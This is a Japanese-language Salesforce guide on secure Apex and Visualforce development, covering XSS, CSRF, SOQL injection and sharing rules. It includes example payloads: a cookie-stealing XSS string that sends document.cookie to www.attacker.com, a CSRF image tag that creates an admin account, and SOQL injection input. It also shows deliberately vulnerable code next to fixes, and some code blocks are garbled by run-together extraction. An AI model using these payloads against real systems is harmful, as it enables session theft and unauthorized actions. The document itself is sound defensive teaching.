Apex および Visualforce 開発のセキュリティガイドライン
| 使用可能なインターフェース: Salesforce Classic (使用できない組織もあります) |
| 使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition、Developer Edition、および Database.com Edition Visualforce は、Database.com Edition では利用できません。 |
セキュリティとは
Apex および Visualforce ページの強力な組み合わせにより、Lightning Platform 開発者は、Salesforce にカスタム機能およびビジネスロジックを提供したり、Lightning Platform 内部で実行するまったく新しいスタンドアロン製品を作成することができます。ただし、プログラミング言語と同様、開発者はセキュリティ関連の不備について認識する必要があります。
Salesforce は、複数のセキュリティ防御を Lightning Platform 自体に統合しました。ただし、不注意な開発者は多くの場合に組み込み防御をスキップし、アプリケーションと顧客をセキュリティ上のリスクにさらしている場合があります。開発者が Lightning Platform 上で犯す多くのコーディングエラーは、一般的な Web アプリケーションのセキュリティ脆弱性と類似していますが、一部のコーディングエラーは Apex 固有のものです。
AppExchange のアプリケーションを認証するには、開発者がここで説明するセキュリティ上の弱点について学習および理解しておくことが重要です。詳細は、https://developer.salesforce.com/page/Security にある Salesforce Developers の Lightning Platform セキュリティリソースのページを参照してください。
クロスサイトスクリプト (XSS)
クロスサイトスクリプト (XSS) の攻撃は、悪意のある HTML またはクライアント側のスクリプトが Web アプリケーションに提供される、幅広い範囲の攻撃となります。Web アプリケーションには、Web アプリケーションのユーザに対する悪意のあるスクリプトが含まれています。ユーザは、知らぬ間に攻撃の被害者となります。攻撃者は、Web アプリケーションに対する被害者の信頼を利用し、攻撃の媒体として Web アプリケーションを使用しています。データを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻撃されやすいといえます。Web サイトに対する攻撃は、あるユーザからの入力が別のユーザに表示されることを目的としている場合は特に単純です。可能性として、掲示板、ユーザコメントスタイルの Web サイト、ニュース、またはメールアーカイブなどがあります。
1<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>11';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2この場合、現在のページのすべての Cookies が cookie.cgi スクリプトに対する要求のクエリ文字列として www.attacker.com に送信されます。この時点で、攻撃者は被害者のセッション Cookie を持っており、彼らが被害者になりすまして Web アプリケーションに接続することができます。
攻撃者は、Web サイトまたはメールを使用して、悪意のあるスクリプトを送信できます。Web アプリケーションユーザは攻撃者の入力は確認できませんが、ブラウザは信頼されたコンテキストで攻撃者のスクリプトを実行できます。こうした機能により、攻撃者はさまざまな攻撃を被害者に対して行うことができます。攻撃の範囲はウィンドウを開いたり閉じたりする単純なアクションから、データまたはセッションの Cookie を盗むなどのより悪意に満ちた攻撃にいたるまで幅広く、被害者のセッションに対する攻撃者の完全アクセスを可能にします。
Lightning Platform 内では、複数の対 XSS 防御策が実行されています。たとえば、多くの出力メソッドの有害な特性を除外するフィルタが実装されています。標準クラスおよび出力メソッドを使用する開発者に対する XSS の脆弱性の脅威は、大幅に緩和されています。ただし、クリエイティブな開発者は、デフォルトのコントロールをわざとまたは偶然エスケープする方法を見つけることができます。次のセクションでは、保護されている場所、保護されていない場所について説明しています。
既存の保護
1<apex:outputText>
2 {!$CurrentPage.parameters.userInput}
3</apex:outputText>XSS から保護されていないプログラミング項目
- カスタム JavaScript
- 独自の JavaScript を作成した場合、Lightning Platform にはユーザを保護する方法がありません。たとえば JavaScript で使用している場合、次のコードは XSS の攻撃に対して脆弱です。
1<script> 2 var foo = location.search; 3 document.write(foo); 4</script> - <apex:includeScript>
-
<apex:includeScript> Visualforce コンポーネントを使用して、ページにカスタムスクリプトを追加できます。こうした場合、内容が安全で、ユーザが提供したデータが含まれていないことを慎重に確認してください。たとえば、次のスニペットはスクリプトの値としてユーザ提供の入力が含まれているため、特に脆弱です。タグによって指定された値は、使用する JavaScript への URL です。攻撃者がパラメータに任意のデータを入力できる場合 (下記の例参照)、被害者に別の Web サイトの JavaScript ファイルを使用するよう指示することができる可能性があります。
1<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
[数式] タグ
1<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
2Go to portal</a>1<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
2SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
3/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>1<html>
2 <head>
3 <title>{!$Request.title}</title>
4 </head>
5 <body>Hello world!</body>
6</html>1http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E1<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>1<html>
2 <head>
3 <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
4 </head>
5 <body>Hello world!</body>
6</html>1<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>1http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F1<script>var ret = "foo";alert('xss');//";</script>また、ret 変数では、含まれる HTML 制御文字が解釈されるような方法で使用される場合、ページの後半で追加のクライアント側エスケープが必要になる場合があります。
また、数式タグを使用して、プラットフォームオブジェクトデータを追加することもできます。データがユーザの組織から直接取得されますが、データをエスケープしてユーザが他のユーザ (権限レベルがより高いユーザ) のコンテキストでコードを実行できなくなります。これらの種類の攻撃は同じ組織内のユーザによって実行され、組織のユーザロールを弱体化し、データ監査の完全性を提言させてしまいます。また、多くの組織には、外部の供給元からインポートされたデータがありますが、悪意のあるコンテンツの除外が行われない場合があります。
クロスサイトリクエストフォージェリ (CSRF)
1<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />つまり、攻撃者のページには、あなたの Web サイトでアクションを実行する URL が含まれています。ユーザが攻撃者の Web ページにアクセスしたときに、まだあなたの Web ページにログインしている場合、URL が取得され、アクションが実行されます。ユーザの Web ページへの認証がこのときも行われているため、この攻撃は成功します。これは非常に単純な例で、攻撃者の手口はより巧妙になっており、コールバック要求を生成するスクリプトを使用したり、あなたの AJAX メソッドに対して CSRF 攻撃を行うこともあります。
Lightning Platform 内では、この攻撃を回避する対 CSRF トークンが実装されています。すべてのページにランダムな文字列が非表示形式項目として指定されています。次のページが読み込まれると、アプリケーションはこの文字列の正当性を確認し、値が予測される値に一致しない限り、コマンドは実行されません。この機能により、すべての標準コントローラおよびメソッドの使用時に、ユーザを保護します。
1<apex:page controller="myClass" action="{!init}"</apex:page>
2
3public class myClass {
4 public void init() {
5 Id id = ApexPages.currentPage().getParameters().get('id');
6 Account obj = [select id, Name FROM Account WHERE id = :id];
7 delete obj;
8 return ;
9 }
10}この場合、開発者は、独自のアクションメソッドを開発して知らないうちに対 CSRF コントロールをスキップしてしまいます。id パラメータはコードで読み込まれ、使用されます。対 CSRF トークンは読み込まれたり検証されたりしません。攻撃者の Web ページでは、CSRF 攻撃を使用してユーザをこのページに移動させ、id パラメータとして攻撃者が望む値を指定する可能性があります。
このような状況に対する組み込み防御策がないため、開発者は前例の id 変数のようなユーザ指定のパラメータに基づいてアクションを実行するページの書き込みに対し、注意する必要があります。解決策の 1 つは、アクションを起こす前に中間の確認ページを挿入し、ユーザがそのページを呼び出しているのか確認することです。その他の提案としては、組織のアイドルセッションのタイムアウトを短くする、他のサイトにアクセスする場合は有効なセッションからログアウトし、認証されたままそのブラウザを使用しないようにするなどです。
ユーザが複数の Salesforce ログインページを開いている場合、CRSF に対する Salesforce の組み込み防御策によってエラーが表示される場合があります。ユーザが 1 つのタブで Salesforce にログインし、その後、別のタブでログインを試みると、「送信したページは、セッションに対して無効でした。」というエラーが表示されます。正常にログインするには、ログインページを更新するか、ログインをもう一度試みます。
SOQL インジェクション
他のプログラミング言語では、上記の弱点を SQL インジェクションといいます。Apex では SQL を使用しませんが、独自のデータベースクエリ言語 SOQL を使用します。SOQL は、SQL より単純で、機能が制限されています。そのため、SOQL インジェクションのリスクは SQL と比較して大幅に低くなりますが、攻撃は従来の SQL インジェクションとほぼ同じです。集計時は、SQL/SOQL インジェクションではユーザが提供した入力を取得し、これらの値を動的 SOQL クエリに使用します。入力が検証されない場合、SOQL ステートメントを事実上変更する SOQL コマンドを指定し、アプリケーションにトリックを仕掛けて意図しないコマンドを実行するようにします。
Apex での SOQL インジェクションの脆弱性
1<apex:page controller="SOQLController" >
2 <apex:form>
3 <apex:outputText value="Enter Name" />
4 <apex:inputText value="{!name}" />
5 <apex:commandButton value="Query" action="{!query}“ />
6 </apex:form>
7</apex:page>
8
9public class SOQLController {
10 public String name {
11 get { return name;}
12 set { name = value;}
13 }
14 public PageReference query() {
15 String qryString = 'SELECT Id FROM Contact WHERE ' +
16 '(IsDeleted = false and Name like \'%' + name + '%\')';
17 queryResult = Database.query(qryString);
18 return null;
19 }
20}1// User supplied value: name = Bob
2// Query string
3SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')1// User supplied value for name: test%') OR (Name LIKE '1SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')結果には削除されていない取引先責任者だけでなく、すべての取引先責任者が表示されます。SOQL インジェクションにより、脆弱なクエリの対象となるロジックを変更することができます。
SOQL インジェクションの防御策
1public class SOQLController {
2 public String name {
3 get { return name;}
4 set { name = value;}
5 }
6 public PageReference query() {
7 String queryName = '%' + name + '%';
8 queryResult = [SELECT Id FROM Contact WHERE
9 (IsDeleted = false and Name like :queryName)];
10 return null;
11 }
12}動的 SOQL を使用する必要がある場合、escapeSingleQuotes メソッドを使用して、ユーザ指定の入力を削除します。このメソッドは、エスケープ文字 (\) をユーザから渡される文字列のすべての単一引用符に追加します。このメソッドにより、すべての単一引用符を、データベースコマンドではなく、囲まれた文字列として処理します。
データアクセスコントロール
Lightning Platform は、データ共有ルールを広範囲に使用します。各オブジェクトには権限があり、ユーザが読み取り、作成、編集、削除できる共有設定がある場合があります。これらの���定は、すべての標準コントローラを使用する場合に強制されます。
1public class customController {
2 public void read() {
3 Contact contact = [SELECT id FROM Contact WHERE Name = :value];
4 }
5}1public with sharing class customController {
2 . . .
3}with sharing キーワードを使用すると、プラットフォームはすべてのレコードに完全アクセス権限を付与するのではなく、現在ログインしているユーザのセキュリティ共有権限を使用します。